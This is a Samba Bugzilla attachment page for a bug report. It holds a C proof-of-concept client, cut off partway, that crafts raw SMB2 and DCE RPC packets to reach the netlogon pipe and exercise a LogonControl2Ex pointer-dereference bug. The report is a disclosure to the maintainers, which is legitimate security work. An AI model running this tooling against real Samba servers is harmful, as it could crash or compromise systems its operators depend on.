The Samba-Bugzilla – Attachment 18116 Details for
Bug 15465
rpcd_lsad/netlogon/LogonControl2Ex can dereference a client-supplied pointer
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
demonstrate a bug in LogonControl2Ex
smx131a.c (text/x-csrc), 134.94 KB, created by
Robert Morris
on 2023-09-21 10:04:16 UTC
(
hide
)
Description:
demonstrate a bug in LogonControl2Ex
Filename:
MIME Type:
Creator:
Robert Morris
Created:
2023-09-21 10:04:16 UTC
Size:
134.94 KB
patch
obsolete
>#include <stdio.h> >#include <string.h> >#include <stdlib.h> >#include <unistd.h> >#include <sys/socket.h> >#include <sys/un.h> >#include <sys/time.h> >#include <sys/types.h> >#include <sys/ioctl.h> >#include <netinet/in.h> >#include <sys/wait.h> >#include <sys/resource.h> >#include <arpa/inet.h> >#include <assert.h> >#include <ctype.h> >#include <fcntl.h> >#include <signal.h> >#include <errno.h> > > >int s = -1; >unsigned long long smb_seq = 0; >int tree_id = 0; >char session_id[8] = { 0, 0, 0, 0, 0, 0, 0, 0 }; >char file_id[16]; > >int >header(char *buf, int command) >{ > int ii = 0; > > // SMB-over-TCP 4-byte header > buf[ii++] = 0; // must be zero > buf[ii++] = 0; // high byte of len > *(short*)(buf+ii) = htons(sizeof(buf)-4); // non-inclusive len, filled later > ii += 2; > > // SMB2 SYNC Packet Header, MS-SMB2 2.2.1.2 > buf[ii++] = 0xfe; > buf[ii++] = 'S'; > buf[ii++] = 'M'; > buf[ii++] = 'B'; > *(short*)(buf+ii) = 64; // StructureSize (of SMB2 header) > ii += 2; > *(short*)(buf+ii) = 0; // CreditCharge > ii += 2; > *(short*)(buf+ii) = 0; // ChannelSequence > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(short*)(buf+ii) = command; > ii += 2; > *(short*)(buf+ii) = 6; // CreditRequest > ii += 2; > *(int*)(buf+ii) = 0; // Flags > ii += 4; > *(int*)(buf+ii) = 0; // NextCommand > ii += 4; > *(long long *)(buf+ii) = smb_seq++; // MessageId > ii += 8; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > *(int*)(buf+ii) = tree_id; // TreeId > ii += 4; > memcpy(buf+ii, session_id, 8); // SessionId > ii += 8; > memset(buf+ii, 'd', 16); // Signature > ii += 16; > > return ii; >} > >int select_timeout = 30; > >int >readn(void *bufx, int n) >{ > char *buf = bufx; > while(n > 0){ > fd_set readfds; > FD_ZERO(&readfds); > FD_SET(s, &readfds); > struct timeval tv; > tv.tv_sec = select_timeout; > tv.tv_usec = 0; > int nn = select(s+1, &readfds, 0, 0, &tv); > if(nn < 1){ > printf("readn timeout!\n"); > return -1; > } > > int cc = read(s, buf, n); > if(cc <= 0) > return -1; > n -= cc; > buf += cc; > } > return 0; >} > >int >readmsg(void *bufx) >{ > unsigned char *buf = bufx; > if(readn(buf, 4) < 0) > return -1; > int n = (buf[2] << 8) | buf[3]; > if(readn(buf+4, n) < 0) > return -1; > return n + 4; >} > > >void >negotiate(int do_sym) >{ > // SMB2 NEGOTIATE, MS-SMB2 2.2.3 > char buf[128+32]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x0000); > int ii0 = ii; > > *(short*)(buf+ii) = 36; // StructureSize, must be 36 > ii += 2; > *(short*)(buf+ii) = 1; // DialectCount > ii += 2; > *(short*)(buf+ii) = 1; // SecurityMode > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x3f; // Capabilities > ii += 4; > ii += 16; // ClientGuid from MS-DTYP > int context_offset_i = ii; > *(int*)(buf+ii) = 0; // NegotiateContextOffset > ii += 4; > *(short*)(buf+ii) = 1; // NegotiateContextCount > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(short*)(buf+ii) = 0x0311; // Dialect > ii += 2; > > while((ii - 4) % 8) > ii++; > > *(int*)(buf+context_offset_i) = ii - 4; // NegotiateContextOffset > > { > *(short*)(buf+ii) = 0x0001; // SMB2_PREAUTH_INTEGRITY_CAPABILITIES > ii += 2; > int data_length_i = ii; > *(short*)(buf+ii) = 0; // DataLength > ii += 2; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > int data_field_i = ii; > *(short*)(buf+ii) = 1; // HashAlgorithmCount > ii += 2; > *(short*)(buf+ii) = 2; // SaltLength > ii += 2; > *(short*)(buf+ii) = 1; // SHA-512 > ii += 2; > *(short*)(buf+ii) = 1; // Salt > ii += 2; > *(short*)(buf+data_length_i) = ii - data_field_i; > } > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("negotiate writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for negotiate response\n", cc); > printf("Status: 0x%x\n", *(int*)(buf+4+8)); > } >} > >void >setup(int do_sym, int ntlmssp_command) >{ > // SMB2 SESSION_SETUP, MS-SMB2 2.2.5 > char buf[256]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x0001); > int ii0 = ii; > > *(short*)(buf+ii) = 25; // StructureSize > ii += 2; > buf[ii++] = 0; // Flags > buf[ii++] = 3; // SecurityMode > *(int*)(buf+ii) = 1; // Capabilities -- 1=DFS > ii += 4; > *(int*)(buf+ii) = 0; // Channel > ii += 4; > *(short*)(buf+ii) = ii + 12 - 4; // SecurityBufferOffset > ii += 2; > int secbuflen_i = ii; > *(short*)(buf+ii) = 32; // SecurityBufferLength > ii += 2; > memset(buf+ii, 0, 8); // PreviousSessionId > ii += 8; > > // SecurityBuffer > int secbufstart_i = ii; > memcpy(buf+ii, "NTLMSSP", 8); > ii += 8; > *(int*)(buf+ii) = ntlmssp_command; // ntlmssp_command > ii += 4; > if(ntlmssp_command == 1){ > *(int*)(buf+ii) = 0; // flags > ii += 4; > } > if(ntlmssp_command == 3){ > // parse_string = "CdBBAAABdbb"; > > // lm_resp > *(short*)(buf+ii) = 8; // len1 > ii += 2; > *(short*)(buf+ii) = 8; // len2 > ii += 2; > *(int*)(buf+ii) = 0; // ptr -- offset from "NTLMSSP" > ii += 4; > // ii += 4; > > // nt_resp -- this is the NTLM password > *(short*)(buf+ii) = 24; // len1 > ii += 2; > *(short*)(buf+ii) = 24; // len2 > ii += 2; > *(int*)(buf+ii) = 181 - secbufstart_i; // ptr > ii += 4; > // ii += 4; > > // domain > *(short*)(buf+ii) = 4; // len1 > ii += 2; > *(short*)(buf+ii) = 4; // len2 > ii += 2; > *(int*)(buf+ii) = 0; // ptr > ii += 4; > // ii += 4; > > // user > *(short*)(buf+ii) = 1; // len1 > ii += 2; > *(short*)(buf+ii) = 1; // len2 > ii += 2; > *(int*)(buf+ii) = 180 - secbufstart_i; // ptr > ii += 4; > // ii += 4; > > // netbios_name > *(short*)(buf+ii) = 4; // len1 > ii += 2; > *(short*)(buf+ii) = 4; // len2 > ii += 2; > *(int*)(buf+ii) = 0; // ptr > ii += 4; > // ii += 4; > > // encrypted_session_key > *(short*)(buf+ii) = 8; // len1 > ii += 2; > *(short*)(buf+ii) = 8; // len2 > ii += 2; > *(int*)(buf+ii) = 0; // ptr > ii += 4; > // ii += 4; > > *(int*)(buf+ii) = 0; // auth_flags > ii += 4; > > // version_blob > ii += 8; > > // mic_blob > ii += 16; > > // now ii = 180 > // user name > buf[ii++] = 'z'; > // maybe 24 bytes of encrypted NT NTLMv1 password > ii += 24; > } > > ii += 16; > > *(short*)(buf+secbuflen_i) = ii - secbufstart_i; // SecurityBufferLength > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("setup writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for setup response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > // 0xC0000016 means another setup round is required > if(status == 0xc0000016){ > memcpy(session_id, buf+44, 8); > } > } >} > >void >tree_connect(int do_sym) >{ > // SMB2 TREE_CONNECT, MS-SMB2 2.2.9 > char buf[128+32]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x0003); > int ii0 = ii; > > *(short*)(buf+ii) = 9; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Flags/Reserved > ii += 2; > int pathoffset_i = ii; > *(short*)(buf+ii) = 0; // PathOffset > ii += 2; >#if 0 > unsigned char path[] = { > '\\', 0, > '\\', 0, > 'x', 0, > '\\', 0, > 'x', 0, > }; >#else > unsigned char path[] = { // IPC > 'I', 0, > 'P', 0, > 'C', 0, > '$', 0, > }; >#endif > *(short*)(buf+ii) = sizeof(path); // PathLength > ii += 2; > >#if 0 > // Request Extension > int contextoff_i = ii; > *(int*)(buf+ii) = 0; // TreeConnectContextOffset > ii += 4; > *(short*)(buf+ii) = 1; // TreeConnectContextCount > ii += 2; > memset(buf+ii, 0, 10); // Reserved > ii += 10; >#endif > > // PathName > *(short*)(buf+pathoffset_i) = ii - 4; > memcpy(buf+ii, path, sizeof(path)); > ii += sizeof(path); > >#if 0 > *(int*)(buf+contextoff_i) = ii - 4; > *(short*)(buf+ii) = 1; // ContextType > ii += 2; > *(short*)(buf+ii) = 32; // DataLength > ii += 2; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > ii += 32; >#endif > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("tree_connect writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for tree_connect response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > if(status == 0){ > tree_id = *(int*)(buf+40); > } > } >} > >void >smb_create(int do_sym) >{ > // SMB2 CREATE, MS-SMB2 2.2.13 > char buf[128+64]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x0005); > int ii0 = ii; > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > buf[ii++] = 0; // SecurityFlags > buf[ii++] = 0; // RequestedOplockLevel > *(int*)(buf+ii) = 0; // ImpersonationLevel > ii += 4; > memset(buf+ii, 0, 8); // SmbCreateFlags > ii += 8; > memset(buf+ii, 0, 8); // Reserved > ii += 8; > *(int*)(buf+ii) = 3; // DesiredAccess > ii += 4; > *(int*)(buf+ii) = 0; // FileAttributes > ii += 4; > *(int*)(buf+ii) = 0; // ShareAccess > ii += 4; > *(int*)(buf+ii) = 3; // CreateDisposition; 0=supersede, 3=open_or_create > ii += 4; > *(int*)(buf+ii) = 0; // CreateOptions; 1=directory > ii += 4; > int nameoffset_i = ii; > *(short*)(buf+ii) = 0; // NameOffset > ii += 2; > unsigned char path[] = { > 'n', 0, > 'e', 0, > 't', 0, > 'l', 0, > 'o', 0, > 'g', 0, > 'o', 0, > 'n', 0, > }; > *(short*)(buf+ii) = sizeof(path); // NameLength > ii += 2; > int contextoffset_i = ii; > *(int*)(buf+ii) = 0; // CreateContextsOffset > ii += 4; > int contextlength_i = ii; > *(int*)(buf+ii) = 0; // CreateContextsLength > ii += 4; > > *(short*)(buf+nameoffset_i) = ii - 4; > memcpy(buf+ii, path, sizeof(path)); > ii += sizeof(path); > > while((ii - 4) % 8) > ii++; > > *(int*)(buf+contextoffset_i) = ii - 4; > int c0 = ii; > *(int*)(buf+ii) = 0; // Next > ii += 4; > *(short*)(buf+ii) = 16; // NameOffset > ii += 2; > *(short*)(buf+ii) = 4; // NameLength > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(short*)(buf+ii) = 24; // DataOffset > ii += 2; > *(int*)(buf+ii) = 4; // DataLength > ii += 4; > *(int*)(buf+ii) = 0x416c5369; > ii += 4; > ii += 4; // pad > *(int*)(buf+ii) = 0; > ii += 4; > > *(int*)(buf+contextlength_i) = ii - c0; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("create writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for create response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > if(status == 0){ > memcpy(file_id, buf+4+64+16*4, 16); > } > } >} > >void >smb_read(int do_sym) >{ > // SMB2 READ, MS-SMB2 2.2.19 > char buf[128]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x0008); > int ii0 = ii; > > *(short*)(buf+ii) = 49; // StructureSize > ii += 2; > buf[ii++] = 0; // Padding > buf[ii++] = 0; // Flags > *(int*)(buf+ii) = 512; // Length > ii += 4; > *(long long *)(buf+ii) = 0; // Offset > ii += 8; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = 1; // MinimumCount > ii += 4; > *(int*)(buf+ii) = 0; // Channel > ii += 4; > *(int*)(buf+ii) = 0; // RemainingBytes > ii += 4; > *(short *)(buf+ii) = 0; // ReadChannelInfoOffset > ii += 2; > *(short *)(buf+ii) = 0; // ReadChannelInfoLength > ii += 2; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("read writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for read response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > } >} > >void >smb_write(int do_sym) >{ > // SMB2 WRITE, MS-SMB2 2.2.21 > char buf[128+64]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x0009); > int ii0 = ii; > > *(short*)(buf+ii) = 49; // StructureSize > ii += 2; > *(short*)(buf+ii) = ii+46-4; // DataOffset > ii += 2; > *(int*)(buf+ii) = 64; // Length > ii += 4; > *(long long *)(buf+ii) = 0; // Offset > ii += 8; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = 0; // Channel > ii += 4; > *(int*)(buf+ii) = 0; // RemainingBytes > ii += 4; > *(short *)(buf+ii) = 0; // WriteChannelInfoOffset > ii += 2; > *(short *)(buf+ii) = 0; // WriteChannelInfoLength > ii += 2; > *(int*)(buf+ii) = 0; // Flags > ii += 4; > > ii += 64; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("write writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for write response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > } >} > >void >smb_lock(int do_sym) >{ > // SMB2 LOCK, MS-SMB2 2.2.26 > char buf[128]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x000A); > int ii0 = ii; > > *(short*)(buf+ii) = 48; // StructureSize > ii += 2; > *(short*)(buf+ii) = 1; // LockCount > ii += 2; > *(int*)(buf+ii) = 0; // LockSequenceNumber > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > > // Locks > *(long long *)(buf+ii) = 0; // Offset > ii += 8; > *(long long *)(buf+ii) = 1; // Length > ii += 8; > *(int*)(buf+ii) = 0x11; // Flags > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("lock writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for lock response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > } >} > >void >smb_ioctl_validate(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[128+32]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x000B); > int ii0 = ii; > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x00140204; // CtlCode FSCTL_SRV_COPYCHUNK > ii += 4; > //memcpy(buf+ii, file_id, sizeof(file_id)); > memset(buf+ii, 0xff, 16); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > *(int*)(buf+ii) = 32; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // VALIDATE_NEGOTIATE_INFO > *(int*)(buf+ii) = 0; // Capabilities > ii += 4; > ii += 16; // Guid > *(short*)(buf+ii) = 0; // SecurityMode > ii += 2; > *(short*)(buf+ii) = 1; // DialectCount > ii += 2; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("ioctl writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for ioctl response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > } >} > >void >smb_ioctl_get_compression(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[128+32]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x000B); > int ii0 = ii; > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0009003C; // CtlCode FSCTL_GET_COMPRESSION > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > *(int*)(buf+ii) = 32; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // VALIDATE_NEGOTIATE_INFO > *(int*)(buf+ii) = 0; // Capabilities > ii += 4; > ii += 16; // Guid > *(short*)(buf+ii) = 0; // SecurityMode > ii += 2; > *(short*)(buf+ii) = 1; // DialectCount > ii += 2; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("ioctl writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for ioctl response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > } >} > >void >smb_ioctl_pipe(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[256+64]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > int ii0 = ii; > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > *(int*)(buf+ii) = 128+32; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > int ii1 = ii; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("ioctl writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for ioctl response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > } >} > >int rpc_seq = 1; > >void >smb_ioctl_rpc_bind(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[256+64]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 11; // 11=bind > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > unsigned char data[] = { > 0xb8, 0x10, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x01, 0x00, > // uuid / dcerpc interface starts here > // NDR_SRVSVC_UUID: 4b324fc8-1670-01d3-1278-5a47bf6ee188 > //0xc8, 0x4f, 0x32, 0x4b, > //0x70, 0x16, > //0xd3, 0x01, > //0x12, 0x78, > //0x5a, 0x47, 0xbf, 0x6e, 0xe1, 0x88, > //0x03, // version > // NDR_SAMR_UUID: 12345778-1234-abcd-ef00-0123456789ac > // 0x78, 0x57, 0x34, 0x12, > // 0x34, 0x12, > // 0xcd, 0xab, > // 0xef, 0x00, > // 0x01, 0x23, 0x45, 0x67, 0x89, 0xac, > // 0x01, // version > // NDR_WINREG_UUID "338cd001-2244-31f1-aaaa-900038001003" > //0x01, 0xd0, 0x8c, 0x33, > //0x44, 0x22, > //0xf1, 0x31, > //0xaa, 0xaa, > //0x90, 0x00, 0x38, 0x00, 0x10, 0x03, > //0x01, // version > // NDR_SPOOLSS_UUID "12345678-1234-abcd-ef00-0123456789ab" > //0x78, 0x56, 0x34, 0x12, > //0x34, 0x12, > //0xcd, 0xab, > //0xef, 0x00, > //0x01, 0x23, 0x45, 0x67, 0x89, 0xab, > //0x01, // version > // NDR_EPMAPPER_UUID "e1af8308-5d1f-11c9-91a4-08002b14a0fa" > //0x08, 0x83, 0xaf, 0xe1, > //0x1f, 0x5d, > //0xc9, 0x11, > //0x91, 0xa4, > //0x08, 0x00, 0x2b, 0x14, 0xa0, 0xfa, > //0x03, // version > // NDR_WKSSVC_UUID "6bffd098-a112-3610-9833-46c3f87e345a" > //0x98, 0xd0, 0xff, 0x6b, > //0x12, 0xa1, > //0x10, 0x36, > //0x98, 0x33, > //0x46, 0xc3, 0xf8, 0x7e, 0x34, 0x5a, > //0x03, // version > // NDR_MDSSVC_UUID "885d85fb-c754-4062-a0e7-6872ce0064f4" > //0xfb, 0x85, 0x5d, 0x88, > //0x54, 0xc7, > //0x62, 0x40, > //0xa0, 0xe7, > //0x68, 0x72, 0xce, 0x00, 0x64, 0xf4, > //0x02, // version > // NDR_LSARPC_UUID "12345778-1234-abcd-ef00-0123456789ab" > //0x78, 0x57, 0x34, 0x12, > //0x34, 0x12, > //0xcd, 0xab, > //0xef, 0x00, > //0x01, 0x23, 0x45, 0x67, 0x89, 0xab, > //0x00, // version > // NDR_NETLOGON_UUID "12345678-1234-abcd-ef00-01234567cffb" > 0x78, 0x56, 0x34, 0x12, > 0x34, 0x12, > 0xcd, 0xab, > 0xef, 0x00, > 0x01, 0x23, 0x45, 0x67, 0xcf, 0xfb, > 0x01, // version > // uuid ends > 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, > 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, > 0x00, > }; > memcpy(buf+ii, data, sizeof(data)); > ii += sizeof(data); > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc bind writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc bind response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_xxx(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x02; // opnum > ii += 2; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc xxx writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc xxx response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = 